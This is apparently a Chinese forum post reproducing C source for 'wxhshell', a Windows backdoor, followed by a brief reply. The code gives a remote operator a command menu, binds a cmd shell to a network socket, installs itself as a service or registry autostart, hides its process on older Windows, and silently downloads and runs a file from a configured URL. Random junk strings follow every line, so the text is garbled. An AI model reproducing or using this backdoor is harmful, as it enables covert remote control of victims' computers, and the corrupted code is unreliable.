    switch(cmd[0]) { ']]C zze  
  N$cm;G=]  
  // 帮助 k'H+l]=  
  case '?': { /K!&4mK  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); UEkn@^&bg  
    break; K ?R* )_  
  } ep|>z#1  
  // 安装 6k569c{7  
  case 'i': { v D"4aw  
    if(Install()) RRXnj#<g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q)`3&b  
    else QYl Pr&O9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2VB|a;Mo  
    break; ^g^R[8  
    } b@6hGiqx  
  // 卸载 T'W)RYnwl  
  case 'r': { j6Msbq[  
    if(Uninstall()) ^r4@C2#vzJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \PHbJN:BI  
    else X*4iNyIs_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z`)i"O]-K_  
    break; : T` Ni  
    } Kyn[4Bu!?  
  // 显示 wxhshell 所在路径 F@4TD]E0^  
  case 'p': { ;!RS q'L1  
    char svExeFile[MAX_PATH]; V]4g- CS[  
    strcpy(svExeFile,"\n\r"); yiourR)H<  
      strcat(svExeFile,ExeFile); uP;qs8  
        send(wsh,svExeFile,strlen(svExeFile),0); suo;+T=`I  
    break; rf}@16O$'  
    } WDr C  
  // 重启 ~f:y^`+Q[  
  case 'b': { {lNvKm)w  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); r .&<~x  
    if(Boot(REBOOT)) q oA?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0O@UT1 M;v  
    else { idG}p+(;  
    closesocket(wsh); h mijp1u  
    ExitThread(0); cD&QN9  
    } Dm^Bk?#(  
    break; A@:h\<  
    } E;I'b:U`  
  // 关机 0-s[S  
  case 'd': { kK62yz,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <in#_Of {E  
    if(Boot(SHUTDOWN)) 0ZRIi70u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *!mT#Vm^  
    else { n:TWZ.9  
    closesocket(wsh); r2t|,%%N7  
    ExitThread(0); )Id.yv}_  
    } QYS 1.k  
    break; zc1y)s0G  
    } NA=I7I@  
  // 获取shell !PAuMj)P  
  case 's': { 6!QY)H^j9,  
    CmdShell(wsh); /=y _ #l  
    closesocket(wsh); |8m2i1XG  
    ExitThread(0); ca@?-)  
    break; 8ch^e[U`  
  } j@ehcK9|  
  // 退出 lMn1e6~K  
  case 'x': { h vC gd^M  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); KR49Y>s<  
    CloseIt(wsh); d9qA\ [  
    break; a;GuFnfn,  
    } 84X/=l-c=  
  // 离开 By&ibN),  
  case 'q': { J>o%6D  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); VuU{7:  
    closesocket(wsh); %I`%N2ss  
    WSACleanup(); ?QbxC,& i  
    exit(1); 0Z11V9Jk  
    break; @N(*1,s2  
        } NQ9/,M  
  } cN?}s0  
  } T_=IH~"  
SJ ay  
  // 提示信息 <SPT2NyX  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G (Ky7S Z  
} ! 0}SZ  
  } %U<1]  
&/\Q6$a  
  return; h<1pGQV  
} F{'lF^Dc  
NKX,[o1  
// shell模块句柄 be->ofUYgs  
int CmdShell(SOCKET sock) #?3oGrS Y  
{ ]cKxYX)J  
STARTUPINFO si; '{-7%>`bn  
ZeroMemory(&si,sizeof(si)); o*r 2T4 8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "/#=8_f  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ZcQ@%XY3~  
PROCESS_INFORMATION ProcessInfo; *)8!~Hs   
char cmdline[]="cmd"; 4?u<i=i  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }Dc7'GZ  
  return 0; w>TlM*3D/  
} ]b+Nsr~  
Szb#:C  
// 自身启动模式 h!zev~u1)`  
int StartFromService(void) o<\u Hr3  
{ A,u}p rwH  
typedef struct H,Y+n)5  
{ ~BbF:DS  
  DWORD ExitStatus; pWm==Ds|  
  DWORD PebBaseAddress; 141G~@-  
  DWORD AffinityMask; NB.s2I7  
  DWORD BasePriority; !k}]`z^d  
  ULONG UniqueProcessId; GKg&lM!O$  
  ULONG InheritedFromUniqueProcessId; Y9w^F_relL  
}   PROCESS_BASIC_INFORMATION; [S:{$4&  
^C|N  
PROCNTQSIP NtQueryInformationProcess; @dHQ}Ni  
]Jum(1Bo  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >"/Sa_w  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C25EIIdRb  
YD@n8?~$$  
  HANDLE             hProcess; LJ{P93aq`^  
  PROCESS_BASIC_INFORMATION pbi; {;2Gl$\r  
D=^|6}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); i^Ip+J+[  
  if(NULL == hInst ) return 0; kp=wz0#  
)J>-;EYb8  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9e _8Z@|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  Qk)E:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); aS3Fvk0R{h  
1Y6DzWI  
  if (!NtQueryInformationProcess) return 0; [vNaX%o  
(j%;)PTe+&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ej;\a:JL  
  if(!hProcess) return 0; 1${rQ9FIF  
.dQEr~f#}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ZDl6 F`  
p|&9#?t4A  
  CloseHandle(hProcess); aBblP8)8;K  
7O]$2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Xf/qUao  
if(hProcess==NULL) return 0; 5f- eWW]!  
#[ TOe  
HMODULE hMod; ]7/6u.G7R  
char procName[255]; mNDd>4%H_  
unsigned long cbNeeded; CYH o~VIK  
\-nbV#{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1R"?X'w  
H]<@\g*l@P  
  CloseHandle(hProcess); >J['so2Bf  
s+@`Z*B5  
if(strstr(procName,"services")) return 1; // 以服务启动 nN*:"F/^  
av:9kPKm  
  return 0; // 注册表启动 `;v5o4.`  
} Xt$o$V  
C#tY};t  
// 主模块 277Am*2  
int StartWxhshell(LPSTR lpCmdLine) H"vy[/UcR  
{ [39  
  SOCKET wsl; YkJnZ_k/P  
BOOL val=TRUE; Ra-%,cS  
  int port=0; RKtU@MX49  
  struct sockaddr_in door; %kXg|9Bx!  
Y| 2Gj(*8  
  if(wscfg.ws_autoins) Install(); 5m\T~[`%  
+m]Kj3-z@  
port=atoi(lpCmdLine); ;+NU;f/WM  
fZNWJo# `.  
if(port<=0) port=wscfg.ws_port; %VsIg  
NA-)7i*>J  
  WSADATA data; {[Z}<#n)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; I?~iEO\nh  
;cfmMt!QWJ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   aS)Gj?Odf  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); NB#-W4NA  
  door.sin_family = AF_INET; syB.Z-Cpd  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2)^gd  
  door.sin_port = htons(port); F\BD7W  
G\ m`{jv  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { i8+[-mh  
closesocket(wsl); tO8<N'TD  
return 1; /5&' U!:+  
} 7 yp}  
*)82iD  
  if(listen(wsl,2) == INVALID_SOCKET) { 1 2y+g5b  
closesocket(wsl); :J~sz)n4  
return 1; D)){"Q!b  
} D\9-MXc1  
  Wxhshell(wsl); E5`KUMZkq  
  WSACleanup(); m6iQB\ \  
=ec"G2$?"  
return 0; |x/00XhS  
W,-fnJk  
} TZ>_N;jTZ  
m0[JiwPI  
// 以NT服务方式启动 kY.3x# w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4O1[D? )`x  
{ %D $+Z(  
DWORD   status = 0; %[J|n~8_Z  
  DWORD   specificError = 0xfffffff; /AhN$)(O  
Api<q2@R  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  /gUD!@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 's7 (^1hH  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {6Qd,CX  
  serviceStatus.dwWin32ExitCode     = 0; ! 1wf/C;=  
  serviceStatus.dwServiceSpecificExitCode = 0; I] vCra  
  serviceStatus.dwCheckPoint       = 0; 0k):OVfm=  
  serviceStatus.dwWaitHint       = 0; :o=a@Rqx  
TW)~&;1l  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); j _p|>f<}  
  if (hServiceStatusHandle==0) return; 2PVtyV3;  
&vHfuM`  
status = GetLastError(); $CP_oEb  
  if (status!=NO_ERROR) T(4OPiKu  
{ A2{s ?L,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [)KLmL%  
    serviceStatus.dwCheckPoint       = 0; u~\I  
    serviceStatus.dwWaitHint       = 0; s$PPJJT{b  
    serviceStatus.dwWin32ExitCode     = status; XPd@>2  
    serviceStatus.dwServiceSpecificExitCode = specificError; WB(Gx_o3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \9 5O  
    return; Qs1e0LwA9  
  } "79"SSfOc  
/M@6r<2`i  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3V)NM%Aw  
  serviceStatus.dwCheckPoint       = 0; /+zzZnLl-M  
  serviceStatus.dwWaitHint       = 0; 7%F8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6>R|B?I%  
} hsEQ6  
R\^XF8n6/  
// 处理NT服务事件,比如:启动、停止 ml\2%07  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,,o5hD0V9  
{ MbJ|6g99  
switch(fdwControl) Jh!'"7  
{ pon0!\ZT=  
case SERVICE_CONTROL_STOP: wr{ [4$O  
  serviceStatus.dwWin32ExitCode = 0; K! e51P  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,'c?^ $J|z  
  serviceStatus.dwCheckPoint   = 0; iciw 54;4  
  serviceStatus.dwWaitHint     = 0; %FSY}65  
  { -ttH{SslM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9:1[4o)~  
  } 7'1 +i  
  return; R}J}Q b  
case SERVICE_CONTROL_PAUSE: %IhUQ6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *!- J"h  
  break; }<KQ +  
case SERVICE_CONTROL_CONTINUE: F* h\#?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9?L,DThQ  
  break; 9Atnnx]n  
case SERVICE_CONTROL_INTERROGATE: AttS?TZr  
  break; /@`kM'1:  
}; sBV})8]K M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J rgpDZ  
} B>Xfs ZS  
Ir\f _>7  
// 标准应用程序主函数 RhQ[hI  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3X#)PX9b){  
{ [zMnlO  
1SO!a R#g  
// 获取操作系统版本 K]s*rPT/,  
OsIsNt=GetOsVer(); ,"U_oa3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?D8 +wj  
Eu)(@,]we  
  // 从命令行安装 3rh@|fg)E  
  if(strpbrk(lpCmdLine,"iI")) Install(); [t}\8^y  
`iT{H]po  
  // 下载执行文件 v[J"/:]  
if(wscfg.ws_downexe) { Yv ZcG3@c3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C]'ru  
  WinExec(wscfg.ws_filenam,SW_HIDE); I?Fv!5p  
} &8R !`uh1  
:,[=g$CT:  
if(!OsIsNt) { d]!`II  
// 如果时win9x,隐藏进程并且设置为注册表启动 5?M d  
HideProc(); 'vc>uY  
StartWxhshell(lpCmdLine); io^ L[  
} 'j27.Ry.  
else 2(5<Wj"  
  if(StartFromService()) m.EIMuj  
  // 以服务方式启动 dw"{inMf  
  StartServiceCtrlDispatcher(DispatchTable); rwh,RI) )g  
else  5i|DJ6  
  // 普通方式启动 5wgeA^HE2y  
  StartWxhshell(lpCmdLine); ZA{T0:  
<]e0TU?bk  
return 0; zC<k4[.  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五